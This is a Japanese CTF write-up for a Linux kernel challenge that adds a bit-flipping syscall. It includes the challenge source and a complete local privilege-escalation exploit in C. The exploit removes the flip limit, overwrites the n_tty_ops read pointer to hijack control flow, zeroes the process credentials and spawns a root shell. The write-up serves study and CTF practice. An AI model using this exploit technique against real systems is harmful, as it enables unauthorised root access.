やっぱりリストを埋めるのそんなに楽しくないため、次からは面白そうな問題だけ解いていこうと思います。
static
basic
basic.sh1/ # cat /proc/version
2Linux version 4.17.0 (aleph@codin) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.9)) #1 Fri J8
3
4 -append "nokaslr root=/dev/ram rw console=ttyS0 oops=panic paneic=1 quiet" 2>/dev/null \
SMEP 無効・SMAP 無効・KASLR 無効・oops->panic
new syscall
新しく syscall が追加されている。
flitbip.c 1#include <linux/kernel.h>
2#include <linux/init.h>
3#include <linux/sched.h>
4#include <linux/syscalls.h>
5
6#define MAXFLIT 1
7
8#ifndef __NR_FLITBIP
9#define FLITBIP 333
10#endif
11
12long flit_count = 0;
13EXPORT_SYMBOL(flit_count);
14
15SYSCALL_DEFINE2(flitbip, long *, addr, long, bit)
16{
17 if (flit_count >= MAXFLIT)
18 {
19 printk(KERN_INFO "flitbip: sorry :/\n");
20 return -EPERM;
21 }
22
23 *addr ^= (1ULL << (bit));
24 flit_count++;
25
26 return 0;
27}
任意のアドレスの任意の bit を反転させることができる。flist_count
によって回数を制限しているが、KASLR 無いからflist_count
を最初に反転させることで任意回ビット反転ができる。
get RIP
任意アドレスに任意の値を書き込むことができる状況である。しかも SMEP が無効のため、RIP さえ取れればそれだけで終わる。このような場合には、struct tty_ldisc_ops n_tty_ops
を書き換えるのが便利らしい。これは TTY 関連の関数テーブルで、新規ターミナルのデフォルトテーブルとして利用され、且つ RW になっているもの。
1# 構造体
2static struct tty_ldisc_ops n_tty_ops = {
3 .magic = TTY_LDISC_MAGIC,
4 .name = "n_tty",
5 .open = n_tty_open,
6 .close = n_tty_close,
7 .flush_buffer = n_tty_flush_buffer,
8 .read = n_tty_read,
9 .write = n_tty_write,
10 .ioctl = n_tty_ioctl,
11 .set_termios = n_tty_set_termios,
12 .poll = n_tty_poll,
13 .receive_buf = n_tty_receive_buf,
14 .write_wakeup = n_tty_write_wakeup,
15 .receive_buf2 = n_tty_receive_buf2,
16};
17# 初期化
18static int __init pps_tty_init(void)
19{
20 int err;
21
22 /* Inherit the N_TTY's ops */
23 n_tty_inherit_ops(&pps_ldisc_ops);
24(snipped)
というわけで、こいつのread
を書き換えてscanf()
なりgets()
なりを呼ぶことで RIP が取れる。
LPE
あとは、用意した shellcode を踏ませれば終わり。KASLR 無効よりcurrent
の場所が分かるため直接current->cred.uid
等を NULL クリアする。
exploit
exploit.c 1#define _GNU_SOURCE
2#include <string.h>
3#include <stdio.h>
4#include <fcntl.h>
5#include <stdint.h>
6#include <unistd.h>
7#include <assert.h>
8#include <stdlib.h>
9#include <signal.h>
10#include <poll.h>
11#include <pthread.h>
12#include <err.h>
13#include <errno.h>
14#include <sched.h>
15#include <linux/bpf.h>
16#include <linux/filter.h>
17#include <linux/userfaultfd.h>
18#include <linux/prctl.h>
19#include <sys/syscall.h>
20#include <sys/ipc.h>
21#include <sys/msg.h>
22#include <sys/prctl.h>
23#include <sys/ioctl.h>
24#include <sys/mman.h>
25#include <sys/types.h>
26#include <sys/xattr.h>
27#include <sys/socket.h>
28#include <sys/uio.h>
29
30
31// commands
32#define DEV_PATH "" // the path the device is placed
33
34// constants
35#define PAGE 0x1000
36#define FAULT_ADDR 0xdead0000
37#define FAULT_OFFSET PAGE
38#define MMAP_SIZE 4*PAGE
39#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
40// (END constants)
41
42// globals
43// (END globals)
44
45
46// utils
47#define WAIT getc(stdin);
48#define ulong unsigned long
49#define scu static const unsigned long
50#define NULL (void*)0
51#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
52 } while (0)
53#define KMALLOC(qid, msgbuf, N) for(int ix=0; ix!=N; ++ix){\
54 if(msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) errExit("KMALLOC");}
55ulong user_cs,user_ss,user_sp,user_rflags;
56struct pt_regs {
57 ulong r15; ulong r14; ulong r13; ulong r12; ulong bp;
58 ulong bx; ulong r11; ulong r10; ulong r9; ulong r8;
59 ulong ax; ulong cx; ulong dx; ulong si; ulong di;
60 ulong orig_ax; ulong ip; ulong cs; ulong flags;
61 ulong sp; ulong ss;
62};
63void print_regs(struct pt_regs *regs)
64{
65 printf("r15: %lx r14: %lx r13: %lx r12: %lx\n", regs->r15, regs->r14, regs->r13, regs->r12);
66 printf("bp: %lx bx: %lx r11: %lx r10: %lx\n", regs->bp, regs->bx, regs->r11, regs->r10);
67 printf("r9: %lx r8: %lx ax: %lx cx: %lx\n", regs->r9, regs->r8, regs->ax, regs->cx);
68 printf("dx: %lx si: %lx di: %lx ip: %lx\n", regs->dx, regs->si, regs->di, regs->ip);
69 printf("cs: %lx flags: %lx sp: %lx ss: %lx\n", regs->cs, regs->flags, regs->sp, regs->ss);
70}
71void NIRUGIRI(void)
72{
73 setreuid(0, 0);
74 char *argv[] = {"/bin/sh",NULL};
75 char *envp[] = {NULL};
76 execve("/bin/sh",argv,envp);
77}
78// should compile with -masm=intel
79static void save_state(void) {
80 asm(
81 "movq %0, %%cs\n"
82 "movq %1, %%ss\n"
83 "movq %2, %%rsp\n"
84 "pushfq\n"
85 "popq %3\n"
86 : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" );
87}
88
89const ulong n_tty_ops_read = 0xffffffff8183e320 + 0x30;
90const ulong n_tty_read = 0xffffffff810c8510;
91
92static void shellcode(void){
93 // まずはお直し
94 *((ulong*)n_tty_ops_read) = n_tty_read;
95
96 // そのあとpwn
97 scu current_task = 0xffffffff8182e040;
98 scu cred = current_task + 0x3c0;
99 for(int ix=0; ix!=3; ++ix)
100 ((uint *)cred)[ix] = 0;
101 asm(
102 "swapgs\n"
103 "mov %%rax, %0\n"
104 "push %%rax\n"
105 "mov %%rax, %1\n"
106 "push %%rax\n"
107 "mov %%rax, %2\n"
108 "push %%rax\n"
109 "mov %%rax, %3\n"
110 "push %%rax\n"
111 "mov %%rax, %4\n"
112 "push %%rax\n"
113 "iretq\n"
114 :: "r" (user_ss), "r" (user_sp), "r"(user_rflags), "r" (user_cs), "r" (&NIRUGIRI) : "memory"
115 );
116}
117// (END utils)
118
119// flitbip
120const ulong flit_count = 0xffffffff818f4f78;
121
122long _fff(long *addr, long bit){
123 asm(
124 "mov rax, 333\n"
125 "syscall\n"
126 );
127}
128long fff(long *addr, long bit){
129 long tmp = _fff(addr, bit);
130 assert(tmp == 0);
131 return tmp;
132}
133// (END flitbip)
134
135int main(int argc, char *argv[]) {
136 save_state();
137 int pid = getpid();
138 printf("[+] my pid: %lx\n", pid);
139
140 char buf[0x200];
141 printf("[+] shellcode @ %p\n", shellcode);
142 ulong flipper = n_tty_read ^ (ulong)&shellcode;
143 fff(flit_count, 63);
144
145 for(int ix=0; ix!=64; ++ix){
146 if(flipper & 1 == 1){
147 fff(n_tty_ops_read, ix);
148 }
149 flipper >>= 1;
150 }
151
152 fgets(buf, sizeof(buf), stdin);
153
154 printf("[!] unreachable\n");
155 return 0;
156}
アウトロ
違う、こういう問題を解きたいんじゃない。。。。。。。。。。。 次からは簡単過ぎる問題は飛ばして良さげな問題だけ見繕おうと思います。